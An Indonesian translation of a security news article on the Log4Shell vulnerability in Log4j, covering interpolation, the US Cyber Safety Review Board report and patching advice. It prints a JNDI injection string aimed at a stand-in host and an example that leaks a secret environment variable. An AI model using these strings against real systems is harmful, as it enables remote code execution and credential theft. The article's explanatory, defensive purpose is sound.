8 bulan kemudian, AS mengatakan Log4Shell akan ada selama "satu dekade atau lebih"

Ingat Log4Shell?

Itu adalah bug berbahaya dalam toolkit pemrograman Java open-source populer yang disebut log4j, kependekan dari “Logging for Java”, diterbitkan oleh Apache Software Foundation di bawah lisensi kode sumber bebas dan liberal.

Jika Anda pernah menulis perangkat lunak apa pun, dari file BAT paling sederhana di laptop Windows hingga mega-aplikasi paling mengerikan yang berjalan di seluruh rak server, Anda pasti telah menggunakan perintah logging.

Dari keluaran dasar seperti echo "Starting calculations (this may take a while)" dicetak ke layar, sampai ke pesan formal yang disimpan dalam database tulis sekali untuk audit atau alasan kepatuhan, pencatatan adalah bagian penting dari sebagian besar program, terutama ketika ada sesuatu yang rusak dan Anda memerlukan catatan yang jelas tentang seberapa jauh yang Anda dapatkan sebelumnya masalah melanda.

Log4Shell kerentanan (sebenarnya, ternyata ada beberapa masalah terkait, tetapi kami akan memperlakukan semuanya seolah-olah itu adalah satu masalah besar di sini, untuk kesederhanaan) ternyata setengah bug, setengah fitur.

Dengan kata lain, Log4j melakukan apa yang tertulis di manual, tidak seperti bug seperti buffer overflow, di mana program yang melanggar mencoba mengacaukan data yang dijanjikan akan dibiarkan begitu saja…

…tetapi kecuali jika Anda telah membaca manual dengan sangat hati-hati, dan mengambil tindakan pencegahan tambahan sendiri dengan menambahkan lapisan verifikasi input yang cermat di atas Log4j, perangkat lunak Anda bisa lepas kendali.

Benar-benar, buruk, benar-benar tidak macet.

Interpolasi dianggap berbahaya

Sederhananya, Log4j tidak selalu merekam pesan log persis seperti yang Anda berikan.

Sebaliknya, ia memiliki "fitur" yang dikenal secara beragam dan membingungkan dalam jargon sebagai interpolasi, substitusi perintah or penulisan ulang otomatis, sehingga Anda dapat memicu fitur manipulasi teks di dalam utilitas logging itu sendiri, tanpa harus menulis kode khusus Anda sendiri untuk melakukannya.

Misalnya, teks di kolom INPUT di bawah ini akan dicatat secara harfiah, persis seperti yang Anda lihat, yang mungkin seperti yang Anda harapkan dari toolkit logging, terutama jika Anda ingin menyimpan catatan yang tepat dari data input yang disajikan pengguna Anda karena alasan regulasi:

MASUKAN HASIL ----------------------- ------------------------ NAMA PENGGUNA =bebek -> USERNAME=bebek Caller-ID:555-555-5555 -> Caller-ID:555-555-5555 Versi saat ini = 17.0.1 -> Versi saat ini = 17.0.1

Tetapi jika Anda mengirimkan teks yang dibungkus dengan urutan karakter ajaib ${...}, logger terkadang melakukan hal-hal cerdas dengannya, setelah menerima teks tetapi sebelum benar-benar menulis ke dalam file log, seperti ini:

MASUKAN HASIL ---------------------------------- -------------- ----------------------------- CURRENT=${java:version}/${java:os} -> CURRENT=Versi Java 17.0.1/Windows 10 10.0 Akun server adalah: ${env:USER} -> Akun server adalah: root ${env:AWS_ACCESS_KEY_ID} -> SECRETDAINTENDEDTOBEINMEMORYONLY

Jelas, jika Anda menerima teks logging dari sumber tepercaya, di mana masuk akal untuk mengizinkan logger mengontrol logger dengan menyuruhnya mengganti teks biasa dengan data internal, penulisan ulang teks semacam ini berguna.

Tetapi jika tujuan Anda adalah untuk melacak data yang dikirimkan oleh pengguna jarak jauh, mungkin untuk tujuan pencatatan peraturan, penulisan ulang otomatis semacam ini sangat berbahaya:

• Dalam hal terjadi perselisihan, Anda tidak memiliki catatan yang dapat diandalkan tentang apa yang sebenarnya dikirimkan oleh pengguna, mengingat bahwa itu mungkin telah dimodifikasi antara input dan output.
• Pengguna jahat dapat mengirim input yang dibuat secara diam-diam untuk memprovokasi server Anda agar melakukan sesuatu yang tidak seharusnya.

Jika Anda mencatat input pengguna seperti string identifikasi browser mereka, katakan (dikenal dalam jargon sebagai User-Agent), atau nama pengguna atau nomor telepon mereka, Anda tidak ingin memberi pengguna kesempatan untuk menipu Anda agar menulis data pribadi (seperti string sandi khusus memori seperti AWS_ACCESS_KEY_ID dalam contoh di atas) ke dalam file log permanen.

Terutama jika Anda dengan percaya diri memberi tahu auditor atau regulator bahwa Anda tidak pernah menulis kata sandi plaintext ke penyimpanan permanen. (Anda seharusnya tidak melakukan ini, bahkan jika Anda belum secara resmi memberi tahu regulator bahwa Anda tidak melakukannya!)

Lebih buruk lagi

Dalam kasus Log4Shell is-it-a-bug-or-is-it-a-feature, bagaimanapun, semuanya jauh lebih buruk daripada contoh yang sudah berisiko yang telah kami tunjukkan di atas.

Misalnya, pengguna yang dengan sengaja mengirimkan data seperti input yang ditunjukkan di bawah ini dapat memicu rangkaian peristiwa yang benar-benar berbahaya:

MASUKAN HASIL -------------------------------------------------- ---------------------------------------- ${jndi:ldap://dodgy. server.example:8888/BadThing} -> Unduh dan jalankan program Java jarak jauh!?

Dalam string "interpolasi" di atas, ${...} urutan karakter yang menyertakan singkatan jndi dan ldap menyuruh Log4j untuk melakukan ini:

• Gunakan Penamaan Java dan Antarmuka Direktori (JNDI) untuk mencari dodgy.server.example on line.
• Hubungkan ke server itu melalui LDAP, menggunakan port TCP 8888.
• Minta datanya disimpan dalam objek LDAP BadThing.

Dengan kata lain, penyerang dapat mengirimkan input yang dibuat khusus yang akan menginstruksikan server Anda untuk "menelepon ke rumah" ke server di bawah kendali mereka, tanpa banyak cuti.

Bagaimana ini bisa menjadi "fitur"?

Anda mungkin bertanya-tanya bagaimana "fitur" seperti ini bisa masuk ke dalam kode Log4j.

Tetapi penulisan ulang teks semacam ini dapat berguna, selama Anda mencatat data dari sumber tepercaya.

Misalnya, Anda dapat mencatat ID pengguna numerik, tetapi juga meminta logger untuk menggunakan LDAP (the protokol akses direktori ringan, yang banyak digunakan di industri, termasuk oleh sistem Active Directory Microsoft) untuk mengambil dan menyimpan nama pengguna yang terkait dengan nomor akun tersebut pada saat itu.

Ini akan meningkatkan keterbacaan dan nilai historis entri dalam file log.

Tetapi server LDAP yang dipanggil Log4j pada contoh di atas (yang dipilih oleh pengguna jarak jauh, jangan lupa) tidak mungkin mengetahui kebenarannya, apalagi mengatakannya, dan oleh karena itu pengguna jahat dapat menggunakan trik ini untuk mengisi log Anda dengan data palsu dan bahkan meragukan secara hukum.

Lebih buruk lagi, server LDAP dapat mengembalikan kode Java yang telah dikompilasi untuk menghasilkan data yang akan dicatat, dan server Anda akan menjalankan program itu dengan patuh –- program yang tidak dikenal, yang disediakan oleh server yang tidak tepercaya, yang dipilih oleh pengguna yang tidak tepercaya.

Secara longgar, jika ada server, di mana pun di jaringan Anda, mencatat input tidak tepercaya yang masuk dari luar, dan menggunakan Log4j untuk melakukannya…

…maka input tersebut dapat digunakan sebagai cara langsung dan langsung untuk mengelabui server Anda agar menjalankan kode orang lain, begitu saja.

Itu namanya RCE dalam jargon, kependekan dari eksekusi kode jarak jauh, dan bug RCE umumnya paling dicari oleh penjahat dunia maya karena biasanya dapat dieksploitasi untuk menanamkan malware secara otomatis.

Sayangnya, sifat bug ini berarti bahwa bahayanya tidak terbatas pada server yang terhubung ke internet, jadi menggunakan server web yang ditulis dalam C, bukan Java (mis. IIS, Apache https, nginx), dan oleh karena itu mereka sendiri tidak menggunakan buggy. Kode Log4j, tidak membebaskan Anda dari risiko.

Secara teori, aplikasi Java back-end apa pun yang menerima dan mencatat data dari tempat lain di jaringan Anda, dan yang menggunakan pustaka Log4j…

…berpotensi dijangkau dan dieksploitasi oleh penyerang luar.

Perbaikannya cukup mudah:

• Temukan versi lama dari Log4j di mana saja dan di mana saja di jaringan Anda. Modul Java biasanya memiliki nama seperti log4j-api-2.14.0.jar dan log4j-core-2.14.0.jar, Di mana jar adalah singkatan Arsip Jawa, semacam file ZIP yang terstruktur khusus. Dengan awalan yang dapat dicari, ekstensi definitif, dan nomor versi yang disematkan dalam nama file, dengan cepat menemukan file yang menyinggung dengan versi kode perpustakaan Java yang "salah" sebenarnya cukup mudah.
• Ganti versi buggy dengan yang lebih baru, yang ditambal.
• Jika Anda tidak dalam posisi untuk mengubah versi Log4J, Anda dapat mengurangi atau menghilangkan risiko dengan menghapus satu modul kode dari paket Log4j yang bermasalah (kode Java yang menangani pencarian JNDI, seperti yang dijelaskan di atas), dan mengemas ulang file JAR Anda yang lebih ramping dengan bug yang ditekan.

Saga berlanjut

Sayangnya, baru-baru ini, laporan terperinci di saga Log4Shell, diterbitkan minggu lalu oleh AS Dewan Peninjau Keamanan Siber (CSRB), bagian dari Departemen Keamanan Dalam Negeri, berisi saran yang mengkhawatirkan (penekanan kami di bawah) bahwa:

[T]Acara Log4j belum berakhir. [CSRB] menilai bahwa Log4j adalah "kerentanan endemik" dan bahwa instance Log4j yang rentan akan tetap ada dalam sistem selama bertahun-tahun yang akan datang, mungkin satu dekade atau lebih. Risiko yang signifikan tetap ada.

Apa yang harus dilakukan?

Pada 42 halaman (ringkasan eksekutif saja mencapai hampir tiga halaman), the laporan dewan adalah dokumen yang panjang, dan sebagiannya berat.

Tetapi kami menyarankan Anda untuk membacanya, karena ini adalah kisah yang menarik tentang bagaimana bahkan masalah keamanan siber yang seharusnya cepat dan mudah diperbaiki dapat diabaikan, atau ditunda hingga nanti, atau sama-sama ditolak sebagai "milik orang lain". masalah” untuk diperbaiki.

Saran penting dari layanan publik AS, yang kami dukung dengan sepenuh hati, meliputi::

• Mengembangkan kapasitas untuk memelihara aset teknologi informasi (TI) yang akurat dan inventaris aplikasi.
• [Siapkan] didokumentasikan program respons kerentanan.
• [Siapkan] proses pengungkapan dan penanganan kerentanan yang terdokumentasi.

Ketika berbicara tentang keamanan siber, jangan tanyakan apa yang bisa dilakukan orang lain untuk Anda…

…tetapi pikirkan apa yang dapat Anda lakukan untuk diri Anda sendiri, karena setiap perbaikan yang Anda lakukan hampir pasti bermanfaat bagi orang lain juga.

---

[Embedded content]

---